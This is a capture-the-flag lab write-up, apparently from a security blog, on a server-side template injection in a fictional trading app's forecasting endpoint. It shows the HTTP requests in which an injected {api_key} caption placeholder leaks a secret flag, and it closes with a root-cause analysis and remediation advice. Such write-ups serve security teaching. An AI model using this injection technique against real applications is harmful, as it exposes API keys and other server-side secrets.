BugForge - Daily - Shady Oaks Finance

4 min read

Daily - Shady Oaks Finance

Vulnerabilities Covered

Server-Side Template Injection Injection Sensitive Data Exposure

Summary

The Shady Oaks Forecasting feature lets a user attach a caption to a custom indicator result. Rather than returning the caption verbatim, the backend renders it through a server-side template engine before echoing it back, substituting placeholder tokens such as {value} with live server-side data. Because the caption is attacker-controlled and interpolated against the server's own context, supplying a placeholder that names a sensitive variable causes the engine to resolve it and return the secret. The lab hints that an {api_key} variable exists, so injecting {api_key} as the caption leaks the flag directly in the caption field of the JSON response, no privilege escalation or authentication bypass required.

Reference

1

Application Analysis

Register a new account on the Shady Oaks Finance trading platform and explore the Forecasting feature. The page exposes a Custom indicator panel that lets you build an indicator from price, sma(n), ema(n), min(), max(), avg() and arithmetic. Entering the sample formula (sma(10) + ema(20)) / 2 and clicking Evaluate returns a numeric result of 139.1324.

Forecasting UI

2

Noticing an Unexpected Caption in the Response

Capture the underlying Evaluate request to /api/forecast/indicator in Caido. At this point the request only carries the two fields the UI sends, stock_id and formula:

{
  "stock_id": 2,
  "formula": "(sma(10) + ema(20)) / 2"
}

We weren’t aware a caption field even existed, yet the response comes back with one containing the literal string {value}:

{
  "stock": { "id": 2, "symbol": "404EX", "name": "The 404 Exchange" },
  "formula": "(sma(10) + ema(20)) / 2",
  "value": 139.1324,
  "caption": "{value}"
}

That the server returns a caption we never sent is the first clue, and the {value} token is the giveaway: it looks like a template placeholder that the server resolves against its own context, substituting {value} with the computed indicator value. To confirm the field is interpolated server-side rather than returned verbatim, we add our own caption to the payload and see whether it gets rendered too. It does, which confirms a Server-Side Template Injection sink we control.

Default caption template placeholder

3

Injecting the {api_key} Placeholder

Since the caption resolves template variables from the server context, the next step is to probe for sensitive variable names. The lab’s own hint points at an {api_key} variable, which is exactly why we test it here, if the template engine exposes it, naming it in the caption will resolve it straight back to us.

Set the caption to {api_key} and resend the request:

POST /api/forecast/indicator HTTP/1.1
Content-Type: application/json

{
  "stock_id": 2,
  "formula": "(sma(10) + ema(20)) / 2",
  "caption": "{api_key}"
}

The template engine resolves the {api_key} placeholder against the server context and returns the secret in the rendered caption field:

{
  "stock": { "id": 2, "symbol": "404EX", "name": "The 404 Exchange" },
  "formula": "(sma(10) + ema(20)) / 2",
  "value": 139.1324,
  "caption": "bug{HYLmfBB7H7A2XLP2BBo56sOYLFTiNyYP}"
}

Flag

The flag is disclosed directly in the response, confirming the caption is rendered server-side and leaks arbitrary variables from the template context.

Impact
  • Disclosure of sensitive server-side data (an API key) through a user-controlled template field
  • A single authenticated request leaks the secret, with no privilege escalation required
  • The template context can expose any variable it holds, not just the intended {value} placeholder
  • Depending on the engine, template injection can escalate from information disclosure to remote code execution
Vulnerability Classification
  • OWASP Top 10: A03:2021 - Injection
  • Vulnerability Type: Server-Side Template Injection (SSTI) leading to sensitive data exposure
  • Attack Surface: The caption parameter of the /api/forecast/indicator endpoint
  • CWE: CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
  • CWE: CWE-94 - Improper Control of Generation of Code (‘Code Injection’)
  • CWE: CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
Root Cause

The application takes the user-supplied caption and passes it directly to a server-side template engine, which interpolates placeholder tokens against the server’s own execution context. Because the caption is treated as a template rather than as literal data, any {variable} token the user supplies is resolved server-side. The default caption {value} reveals this behavior, and since the template context also holds sensitive variables such as api_key, an attacker can name them to have their values rendered back into the response.

This vulnerability typically occurs when:

  • User input is concatenated into or evaluated as a template string
  • The template engine is given access to a context containing secrets or sensitive objects
  • No allowlist restricts which placeholders or variables a user-supplied template may reference
Remediation

Never render user input as a template:

  • Treat the caption as inert data and return it verbatim; do not pass user-controlled strings to a template engine
  • If placeholder substitution is genuinely required, use a fixed, server-side format string and inject only vetted values, rather than rendering the user’s string as the template

Restrict the template context:

  • Pass the template engine a minimal, explicitly constructed context that contains only the values intended for display (e.g. value), never secrets like api_key
  • Maintain a strict allowlist of permitted placeholder names and reject or escape anything outside it

Additional controls:

  • Use a logic-less or sandboxed template engine that cannot access arbitrary application variables
  • Keep secrets such as API keys out of any object graph that is reachable from rendering code
  • Add input validation to reject template metacharacters ({, }, {{, ${, etc.) in fields that are never meant to contain them
Zw4rts

© 2026 Zw4rts. All rights reserved.